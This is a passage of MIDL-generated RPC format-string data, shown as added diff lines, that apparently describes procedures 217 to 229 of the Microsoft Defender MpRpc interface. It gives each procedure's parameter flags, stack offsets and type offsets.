NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12404 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12406 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12408 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12410 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12412 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12414 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12416 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 12418 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12420 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12422 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12424 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12426 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12428 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc217_ServerMpRpcCacheManagerIsTrusted */ + +/* 12430 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12432 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12436 */ NdrFcShort( 0xd9 ), /* 217 */ +/* 12438 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12440 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12442 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12444 */ NdrFcShort( 0x28 ), /* 40 */ +/* 12446 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12448 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 12450 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12452 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12458 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12460 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12462 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12464 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12466 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12468 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12470 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12472 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12474 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12476 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12478 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12480 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12482 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12484 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12486 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12488 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc218_ServerMpRpcSCCGetState */ + +/* 12490 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12492 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12496 */ NdrFcShort( 0xda ), /* 218 */ +/* 12498 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12500 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12502 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12504 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12506 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12508 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12510 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12512 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12514 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12518 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12520 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12522 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12524 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12526 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12528 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12530 */ NdrFcShort( 0xfe6 ), /* Type Offset=4070 */ + + /* Parameter arg_3 */ + +/* 12532 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12534 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12536 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12538 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12540 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc219_ServerMpRpcSCCReset */ + +/* 12544 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12546 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12550 */ NdrFcShort( 0xdb ), /* 219 */ +/* 12552 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12554 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12558 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12560 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12562 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 12564 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12572 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12574 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12576 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12578 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12580 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12582 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12584 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc220_ServerMpRpcImportConfigPayload */ + +/* 12586 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12588 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12592 */ NdrFcShort( 0xdc ), /* 220 */ +/* 12594 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12596 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12598 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12600 */ NdrFcShort( 0x10 ), /* 16 */ +/* 12602 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12604 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12606 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 12608 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12610 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12612 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12614 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12616 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12618 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12620 */ NdrFcShort( 0x1030 ), /* Type Offset=4144 */ + + /* Parameter arg_2 */ + +/* 12622 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12624 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12628 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12630 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12632 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12634 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12636 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12638 */ NdrFcShort( 0x103c ), /* Type Offset=4156 */ + + /* Parameter arg_5 */ + +/* 12640 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12642 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12644 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12646 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12648 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12650 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc221_ServerMpRpcGetConfigPayloadStatus */ + +/* 12652 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12654 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12658 */ NdrFcShort( 0xdd ), /* 221 */ +/* 12660 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12662 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12664 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12666 */ NdrFcShort( 0x10 ), /* 16 */ +/* 12668 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12670 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12672 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12674 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12680 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12682 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12688 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12692 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12694 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12698 */ NdrFcShort( 0x103c ), /* Type Offset=4156 */ + + /* Parameter arg_4 */ + +/* 12700 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12702 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12704 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12706 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12708 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12710 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc222_ServerMpRpcGetConfigValue */ + +/* 12712 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12714 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12718 */ NdrFcShort( 0xde ), /* 222 */ +/* 12720 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12722 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12724 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12726 */ NdrFcShort( 0x2a ), /* 42 */ +/* 12728 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12730 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12732 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12734 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12736 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12738 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12740 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12742 */ NdrFcShort( 0x148 ), /* Flags: in, base type, simple ref, */ +/* 12744 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12746 */ 0x5, /* FC_WCHAR */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12748 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12750 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12752 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12754 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12756 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12758 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12760 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12762 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12764 */ NdrFcShort( 0x10a8 ), /* Type Offset=4264 */ + + /* Parameter arg_5 */ + +/* 12766 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12768 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12770 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12772 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12774 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12776 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc223_ServerMpRpcEffectiveConfigurationReport */ + +/* 12778 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12780 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12784 */ NdrFcShort( 0xdf ), /* 223 */ +/* 12786 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12788 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12790 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12794 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12796 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12798 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12800 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12802 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12804 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12806 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12808 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12810 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12812 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12814 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12816 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12818 */ NdrFcShort( 0x10f8 ), /* Type Offset=4344 */ + + /* Parameter arg_3 */ + +/* 12820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12822 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12824 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12826 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12828 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12830 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12832 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12834 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12836 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc224_ServerMpRpcGetDefenderStatusSummary */ + +/* 12838 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12840 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12844 */ NdrFcShort( 0xe0 ), /* 224 */ +/* 12846 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12848 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12850 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12852 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12854 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12856 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 12858 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12862 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12866 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12868 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12870 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12872 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12876 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12882 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + +/* 12886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12892 */ NdrFcShort( 0xe1 ), /* 225 */ +/* 12894 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12896 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12902 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12904 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12906 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12908 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12914 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12918 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12920 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12922 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12924 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12926 */ NdrFcShort( 0xa98 ), /* Type Offset=2712 */ + + /* Parameter arg_3 */ + +/* 12928 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12930 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12932 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12934 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12936 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12938 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc226_ServerMpRpcGetTrustAnchors */ + +/* 12940 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12942 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12946 */ NdrFcShort( 0xe2 ), /* 226 */ +/* 12948 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12950 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12952 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12954 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12956 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12958 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12960 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12962 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12964 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12966 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12968 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12970 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 12972 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12974 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 12976 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12978 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12980 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12982 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12984 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12986 */ NdrFcShort( 0x110c ), /* Type Offset=4364 */ + + /* Parameter arg_4 */ + +/* 12988 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12990 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12992 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12994 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12996 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12998 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc227_ServerMpRpcDlpTriggerToast */ + +/* 13000 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13002 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13006 */ NdrFcShort( 0xe3 ), /* 227 */ +/* 13008 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13010 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13012 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13014 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13016 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13018 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 13020 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13022 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13026 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13028 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13030 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13032 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13034 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 13036 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13038 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13040 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13042 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13044 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13046 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc228_ServerMpRpcGetRnBWFPFilters */ + +/* 13048 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13050 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13054 */ NdrFcShort( 0xe4 ), /* 228 */ +/* 13056 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 13058 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13060 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13064 */ NdrFcShort( 0x40 ), /* 64 */ +/* 13066 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 13068 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 13070 */ NdrFcShort( 0x1 ), /* 1 */ +/* 13072 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13074 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13076 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13078 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13080 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13082 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 13084 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 13086 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13088 */ NdrFcShort( 0x1192 ), /* Type Offset=4498 */ + + /* Parameter arg_3 */ + +/* 13090 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13092 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13094 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13096 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13098 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13100 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc229_ServerMpRpcRemoveRnBWFPFilter */ + +/* 13102 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13104 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13108 */ NdrFcShort( 0xe5 ), /* 229 */ +/* 13110 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13112 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13116 */ NdrFcShort( 0x44 ), /* 68 */ +/* 13118 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13120 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 13122 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13124 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13126 */ NdrFcShort( 0x0 ), 